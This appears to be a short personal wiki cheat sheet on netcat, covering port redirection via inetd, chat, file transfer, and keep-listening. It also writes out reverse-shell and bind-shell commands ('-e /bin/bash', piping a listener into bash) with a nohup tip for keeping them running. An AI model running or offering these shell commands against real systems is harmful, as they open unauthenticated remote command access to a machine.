NetCat

From John Freier
Jump to: navigation, search

Redirect ports.

This one redirect port 24 to port 22.

24 stream tcp nowait nobody /usr/sbin/tcpd /bin/nc 192.168.1.1 22


This one redirects port 6000(x11) to port 25

x11 stream tcp nowait root /usr/local/bin/nc nc -n -w 3 127.0.0.1 25


Start a chat

host computer - 10.0.0.1

 nc -l 8001

remote computer - 10.0.0.2

 nc 10.0.0.1 8001

and then start typing


Send a file

This will send a file to another computer on the same network

hosted file computer - 10.0.0.1

 cat file.doc | nc 10.0.0.2 8001

remote file to receive the file

 nc -l 8001 > file.doc


Reverse Shell

This create a shell for a client to use.

hosted computer to get the shell from

 nc 127.0.0.1 1234 –e /bin/bash

remote computer to use the shell

 nc -l -p 1234


Shell Listener

This creates a listener shell, at which point any client can connect to and use the shell.

The host computer with the shell to access.

 nc –l –p 1234 –e /bin/bash

Connect to the host computer with the following command.

 nc 127.0.0.1 1234

Side note: You can create a simple script and run this with nohup in the background to insure this continues running.

 nohup ./script.sh &

You can also pipe all commands into bash

 nc -l 1234 | /bin/bash


Keep Listening

Continue listening after a connection is closed use the -k option.

 nc -k -l 1234